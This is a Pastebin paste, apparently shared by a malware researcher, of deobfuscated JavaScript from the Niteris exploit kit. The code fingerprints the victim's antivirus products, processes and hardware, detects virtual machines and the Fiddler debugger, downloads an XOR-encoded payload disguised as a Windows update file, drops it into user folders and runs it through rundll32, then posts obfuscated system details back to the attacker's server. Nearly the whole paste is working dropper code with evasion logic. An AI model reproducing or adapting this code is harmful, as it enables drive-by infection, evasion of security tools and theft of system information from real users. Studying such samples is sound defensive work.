Advertisement
Kafeine

Niteris_Check_AfterVBSDeobfuscation_Jsbeautified

May 12th, 2015
851
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. document.write('</textarea>');
  2. document.write('<!--');
  3. var g_lav = 'cc,bb';
  4. var g_lwork = 1;
  5. var g_ft = 1;
  6. var g_ts = 0;
  7. var g_uf = '/relax/nalogi/5/PYDRFKIP/5fead4b805bc468e6a4008be28c6ca6a';
  8. var g_xk = '97dc6e7aaa9c089d0ed82ebfd9fca4fe';
  9. var g_cb = '/sro/regions/';
  10. var g_fn = 'Windows6.1-KB6928566-x86.drv';
  11. var g_tca = 5000;
  12. var g_av;
  13. var g_path;
  14. var g_pc = 0;
  15. var g_avun = 0;
  16. var g_run = 0;
  17. var g_alive = 0;
  18. var g_ulvl = 0;
  19. var g_err = '0';
  20. var g_runt = new Date().getTime();
  21. var g_try = 2;
  22. var g_tryd = 5;
  23. window.execScript('function f_chr(c):f_chr=chr(c):end function', 'vbscript');
  24. window.execScript('function ieRawBytes(byteArray):ieRawBytes=CStr(byteArray):end function', 'vbscript');
  25. window.execScript('function ieLastChr(byteArray):Dim lastIndex:lastIndex=LenB(byteArray):if lastIndex mod 2 Then:ieLastChr=Chr(AscB(MidB(byteArray,lastIndex,1))):Else:ieLastChr="":End If:end function', 'vbscript');
  26.  
  27. function ForEachItem(Items, Do) {
  28.     with(new Enumerator(Items)) for (; !atEnd(); moveNext())
  29.         if (Do(item())) break;
  30. }
  31. try {
  32.     var aws = new ActiveXObject('WScript.Shell');
  33.     var amx = new ActiveXObject('Microsoft.XMLHTTP');
  34.     var aas = new ActiveXObject('ADODB.Stream');
  35.     var wmi = new ActiveXObject('WbemScripting.SWbemLocator');
  36.     var sfo = new ActiveXObject('Scripting.FileSystemObject');
  37. } catch (e) {
  38.     g_err += 'a' + (e.number & 0xFFFF);
  39.     f_close(1);
  40. }
  41.  
  42. function f_close(r) {
  43.     try {
  44.         if (r) {
  45.             var x = document.createElement('iframe');
  46.             x.setAttribute('src', g_cb + g_err + '/00000/');
  47.             document.body.appendChild(x);
  48.         } else {
  49.             g_err += '/' + g_pc + '' + g_avun + '' + g_run + '' + g_alive + '' + g_ulvl + '/' + g_av;
  50.             postData(g_cb + g_err, obfuscateData(getWmiSC() + '\r\nModel=' + getWmiModel()));
  51.         }
  52.     } finally {
  53.         setTimeout(function() {
  54.             close()
  55.         }, 2000);
  56.     }
  57. }
  58.  
  59. function getWmiSC() {
  60.     try {
  61.         var r = '';
  62.         var c = new Array('AntiSpywareProduct', 'AntiVirusProduct', 'FirewallProduct');
  63.         ForEachItem(c, function(l) {
  64.             try {
  65.                 var j = wmi.ConnectServer('.', 'root\\SecurityCenter2').InstancesOf(l)
  66.             } catch (e) {
  67.                 var j = wmi.ConnectServer('.', 'root\\SecurityCenter').InstancesOf(l)
  68.             }
  69.             r += l + '\r\n';
  70.             ForEachItem(j, function(o) {
  71.                 r += o.displayName + '\r\n';
  72.             });
  73.         });
  74.     } catch (e) {
  75.         g_err += 'b' + (e.number & 0xFFFF);
  76.         return !1;
  77.     }
  78.     return r;
  79. };
  80.  
  81. function getWmiModel() {
  82.     try {
  83.         var r = '';
  84.         var a = wmi.ConnectServer('.', 'root\\CIMV2').InstancesOf('Win32_ComputerSystem');
  85.         ForEachItem(a, function(i) {
  86.             r = i.Model;
  87.         });
  88.     } catch (e) {
  89.         g_err += 'c' + (e.number & 0xFFFF);
  90.         return !1;
  91.     }
  92.     return r;
  93. }
  94.  
  95. function getWmiProcessList() {
  96.     try {
  97.         var r = new Array();
  98.         var a = wmi.ConnectServer('.', 'root\\CIMV2').InstancesOf('Win32_Process');
  99.         ForEachItem(a, function(i) {
  100.             r.push((i.Name).toLowerCase());
  101.         });
  102.     } catch (e) {
  103.         g_err += 'd' + (e.number & 0xFFFF);
  104.         return !1;
  105.     }
  106.     return r;
  107. }
  108.  
  109. function getWmiProcessAlive(b, p) {
  110.     var r = 0;
  111.     try {
  112.         var a = wmi.ConnectServer('.', 'root\\CIMV2').InstancesOf('Win32_Process');
  113.         ForEachItem(a, function(i) {
  114.             if (b) {
  115.                 if (((String)(i.CommandLine).indexOf(p)) + 1) {
  116.                     r = 1;
  117.                 }
  118.             } else {
  119.                 if ((String)(i.Name).toLowerCase().indexOf(p.toLowerCase()) + 1) {
  120.                     r = 1;
  121.                 }
  122.             }
  123.         });
  124.     } catch (e) {
  125.         g_err += 'e' + (e.number & 0xFFFF);
  126.         var r = 0;
  127.     }
  128.     if (sfo.FileExists(p) && r) {
  129.         r = 1;
  130.     }
  131.     return r;
  132. }
  133.  
  134. function startWmiProcess(p) {
  135.     try {
  136.         wmi.Security_.privileges.addasstring('sedebugprivilege', !0);
  137.         var a = wmi.ConnectServer('.', 'root\\CIMV2');
  138.         var b = a.Get('Win32_Process').Methods_('Create').inParameters.SpawnInstance_();
  139.         var c = a.Get('Win32_ProcessStartup').SpawnInstance_();
  140.         c.ShowWindow = 12;
  141.         b.Properties_.Item('CommandLine').Value = aws.ExpandEnvironmentStrings('rundll32 SHELL32.dll,ShellExec_RunDLL rundll32 "' + p + '",DllRegisterServer');
  142.         b.Properties_.Item('ProcessStartupInformation').Value = c;
  143.         return ((a.ExecMethod('Win32_Process', 'Create', b).ProcessId) ? 1 : 0);
  144.     } catch (e) {
  145.         g_err += 'f' + (e.number & 0xFFFF);
  146.         return 0;
  147.     }
  148. }
  149.  
  150. function startProcess(p) {
  151.     try {
  152.         return ((aws.Run(aws.ExpandEnvironmentStrings('rundll32 SHELL32.dll,ShellExec_RunDLL rundll32 "' + p + '",DllRegisterServer'), 0, 0) + 1) ? 1 : 0);
  153.     } catch (e) {
  154.         g_err += 'g' + (e.number & 0xFFFF);
  155.         return 0;
  156.     }
  157. }
  158.  
  159. function ReadFileUrl(u) {
  160.     try {
  161.         amx.open('GET', u, !1);
  162.         amx.onreadystatechange = checkCompleteDownload;
  163.         amx.send();
  164.         return !0;
  165.     } catch (e) {
  166.         g_err += 'h' + (e.number & 0xFFFF);
  167.         return !1;
  168.     }
  169. }
  170.  
  171. function checkCompleteDownload() {
  172.     if (amx.readyState == 4 && amx.status == 200) {
  173.         if (SaveDecodedFile(amx.responseBody, g_fn, g_xk, g_ts)) {
  174.             amx.abort();
  175.             runSoft();
  176.         } else {
  177.             f_close();
  178.         }
  179.     }
  180. }
  181.  
  182. function getRandom(a, b) {
  183.     return ((Math.random() * (b - a + 1)) | 0) + a;
  184. }
  185.  
  186. function newTimeStamp() {
  187.     var today = (new Date().getTime() / 1000 | 0);
  188.     var newday = today - getRandom(0, today & 0xFFFFFF) + 1000;
  189.     var result = function() {
  190.         for (var i = 3, r = Array(); 0 <= i; i--) {
  191.             r.push(((newday / Math.pow(0x100, i)) | 0) & 0xFF);
  192.         }
  193.         return r;
  194.     }();
  195.     return result;
  196. }
  197.  
  198. function CreateFile(p) {
  199.     try {
  200.         var f, Paths = (g_ulvl) ? ['%commonprogramfiles%\\System\\', '%allusersprofile%\\Microsoft\\Windows\\', '%allusersprofile%\\', '%appdata%\\Microsoft\\', '%userprofile%\\', '%tmp%\\Low\\'] : ['%appdata%\\..\\LocalLow\\', '%userprofile\\AppData\\LocalLow\\'];
  201.         for (var i = 0, c = Paths.length; i < c; i++) {
  202.             try {
  203.                 g_path = aws.ExpandEnvironmentStrings(Paths[i]);
  204.                 f = sfo.CreateTextFile(g_path + p, !0);
  205.                 Paths.length = 0;
  206.                 return f;
  207.             } catch (e) {
  208.                 g_path = 0;
  209.                 continue;
  210.             }
  211.         }
  212.         Paths.length = 0;
  213.         if (!g_path) {
  214.             g_path = aws.ExpandEnvironmentStrings('%tmp%\\');
  215.             return sfo.CreateTextFile(g_path + p, !0);
  216.         }
  217.     } catch (e) {
  218.         g_err += 'i' + (e.number & 0xFFFF);
  219.         return !1;
  220.     }
  221. }
  222.  
  223. function SaveDecodedFile(c, p, k, t) {
  224.     try {
  225.         var file = CreateFile(p);
  226.         if (!file) {
  227.             return !1;
  228.         }
  229.         var byteMapping = {};
  230.         for (var i = 0; i < 256; i++) {
  231.             for (var j = 0; j < 256; j++) {
  232.                 byteMapping[String.fromCharCode(i + j * 256)] = String.fromCharCode(i) + String.fromCharCode(j);
  233.             }
  234.         };
  235.         var getBytes = function(byteArray) {
  236.             var rawBytes = ieRawBytes(byteArray),
  237.                 lastChr = ieLastChr(byteArray);
  238.             return rawBytes.replace(/[\s\S]/g, function(match) {
  239.                 return byteMapping[match];
  240.             }) + lastChr;
  241.         };
  242.         var bytes = getBytes(c),
  243.             bytelen = bytes.length,
  244.             keylen = k.length;
  245.         var code, xor, key, output = [],
  246.             j = 0;
  247.         var timestamp_firstbyte, timestamp_position, timestamp_bytes = 4,
  248.             timestamp_today = newTimeStamp();
  249.         for (var i = 0; i < bytelen; i++) {
  250.             code = bytes.charCodeAt(i);
  251.             key = k.charCodeAt(i % keylen);
  252.             xor = (code != 0 && code != key) ? code ^ key : code;
  253.             if (t) {
  254.                 if (i == 60) {
  255.                     timestamp_firstbyte = xor;
  256.                 } else if (i == 61) {
  257.                     timestamp_position = (xor * 256 + timestamp_firstbyte) + 8;
  258.                 }
  259.                 if (0 < timestamp_bytes && 0 < timestamp_position && timestamp_position <= i) {
  260.                     timestamp_bytes--;
  261.                     xor = timestamp_today[timestamp_bytes];
  262.                 }
  263.             }
  264.             output[j++] = ((127 < xor) ? f_chr(xor) : String.fromCharCode(xor));
  265.             if (j == 1024) {
  266.                 file.Write(output.join(''));
  267.                 output = [];
  268.                 j = 0;
  269.             }
  270.         }
  271.         file.Write(output.join(''));
  272.         file.Close();
  273.         return !0;
  274.     } catch (e) {
  275.         g_err += 'j' + (e.number & 0xFFFF);
  276.         return !1;
  277.     }
  278.     return !0;
  279. }
  280.  
  281. function postData(u, d) {
  282.     try {
  283.         g_runt -= new Date().getTime();
  284.         amx.Open('POST', u, !1);
  285.         amx.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
  286.         amx.Send(g_runt + '=' + d);
  287.     } catch (e) {
  288.         g_err += 'k' + (e.number & 0xFFFF);
  289.         return !1;
  290.     }
  291.     return !0;
  292. }
  293.  
  294. function obfuscateData(d) {
  295.     try {
  296.         for (var i = 0, data = '', l = d.length; i < l; i++) {
  297.             data += String.fromCharCode(d.charCodeAt(i) + 2);
  298.         }
  299.     } catch (e) {
  300.         g_err += 'l' + (e.number & 0xFFFF);
  301.         return !1;
  302.     }
  303.     return encodeURIComponent(data);
  304. }
  305.  
  306. function av_identifier(p) {
  307.     try {
  308.         if (!p) {
  309.             return '00';
  310.         }
  311.         var avlist = 'aa:avastsvc,bb:avp,cc:ekrn,cc:nod32krn,dd:mctray,dd:mcsvhost,ee:cmdagent,ff:ccsvchst,gg:psctrls,hh:avgwdsvc,hh:avgcsrvx,ii:msseces,jj:sched,kk:fshoster32,ll:gdfwsvc,mm:bdagent,nn:n360,oo:nav,pp:nis,pp:ns,qq:coreserviceshell,rr:acs,ss:dwservice,ss:dwengine,tt:pfsvc,uu:iswsvc,vv:pctssvc,vv:tfservice,ww:jpf,xx:adawareservice,yy:arcamainsv,zz:savservice,zz:savadminservice,11:tpmgma,22:npsvc32,33:inort,44:rsmgrsvc,55:guardxservice,66:solosent,66:solocfg,77:bullguardbhvscanner,88:k7tsmngr,99:qhactivedefense,ab:bhipssvc,ac:sbamcommandlinescanner,ac:sbamtray,ac:sbamsvc,ad:mbamservice,ae:semsvc,af:icrcservice,af:osceintegrationservice,af:pccntmon'.split(',');
  312.         p = p.join(',');
  313.         for (var i = 0, il = avlist.length, av; i < il; i++) {
  314.             av = avlist[i].split(':');
  315.             if ((p.indexOf(',' + av[1] + '.exe')) + 1) {
  316.                 avlist.length = 0;
  317.                 return av[0];
  318.             }
  319.         }
  320.     } catch (e) {
  321.         return '00';
  322.     }
  323.     return ' ';
  324. }
  325.  
  326. function pc_identifier(m) {
  327.     try {
  328.         if (!m) {
  329.             return 0;
  330.         }
  331.         var vbx = '(virtual|bochs|microsoft corporation)';
  332.         vbx = 1 ^ (new RegExp(vbx, 'gi').test(m));
  333.         return vbx;
  334.     } catch (e) {
  335.         return 0;
  336.     }
  337. }
  338.  
  339. function avunlock_identifier() {
  340.     if (!g_av) {
  341.         return 0;
  342.     }
  343.     if ((g_lav.indexOf(g_av)) + 1) {
  344.         return 0;
  345.     }
  346.     return 1;
  347. }
  348.  
  349. function intlvl_identifier() {
  350.     try {
  351.         var dt = String(sfo.GetSpecialFolder(2)).toLowerCase();
  352.         return ((dt.substr(dt.length - 3, 3) != 'low') ? 1 : 0);
  353.     } catch (e) {
  354.         return 0;
  355.     }
  356. }
  357.  
  358. function deleteSoft() {
  359.     try {
  360.         sfo.DeleteFile(g_path + g_fn);
  361.     } catch (e) {
  362.         g_err += 'l' + (e.number & 0xFFFF);
  363.     }
  364. }
  365.  
  366. function checkAliveProcess(d) {
  367.     g_alive = getWmiProcessAlive(g_ft, g_fn);
  368.     if (--g_try) {
  369.         if (g_alive) {
  370.             f_close();
  371.         } else {
  372.             runSoft();
  373.         }
  374.     } else {
  375.         deleteSoft();
  376.         f_close();
  377.     }
  378. }
  379.  
  380. function runSoft() {
  381.     g_run = ((g_ulvl) ? startWmiProcess(g_path + g_fn) : startProcess(g_path + g_fn));
  382.     if (!g_run) {
  383.         g_run = startProcess(g_path + g_fn);
  384.     }
  385.     if (g_run) {
  386.         setTimeout(checkAliveProcess, g_tca);
  387.     } else {
  388.         f_close();
  389.     }
  390. }
  391.  
  392. function Start() {
  393.     g_pc = pc_identifier(getWmiModel());
  394.     g_av = av_identifier(getWmiProcessList());
  395.     g_avun = avunlock_identifier();
  396.     g_ulvl = intlvl_identifier();
  397.     if (g_pc && g_avun && (g_ulvl || g_lwork)) {
  398.         if (!ReadFileUrl(g_uf)) {
  399.             f_close();
  400.         }
  401.     } else {
  402.         f_close();
  403.     }
  404. }(function chkFiddler() {
  405.     var x = document.createElement('iframe'),
  406.         tmrout;
  407.     x.setAttribute('src', 'http://cdn.technet.microsoft.com');
  408.     x.setAttribute('id', 'tstfdlr');
  409.     if (x.attachEvent && !x.addEventListener) {
  410.         tmrout = setTimeout(Start, getRandom(10000, 15000));
  411.         x.attachEvent('onload', (function() {
  412.             if ((document.frames('tstfdlr').document.activeElement.innerHTML).indexOf('Fiddler') == -1) {
  413.                 clearTimeout(tmrout);
  414.                 setTimeout(Start, getRandom(3000, 10000));
  415.             } else {
  416.                 g_err = 'fdlr' + g_err;
  417.                 f_close();
  418.             }
  419.         }));
  420.     }
  421.     document.body.appendChild(x);
  422. })();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement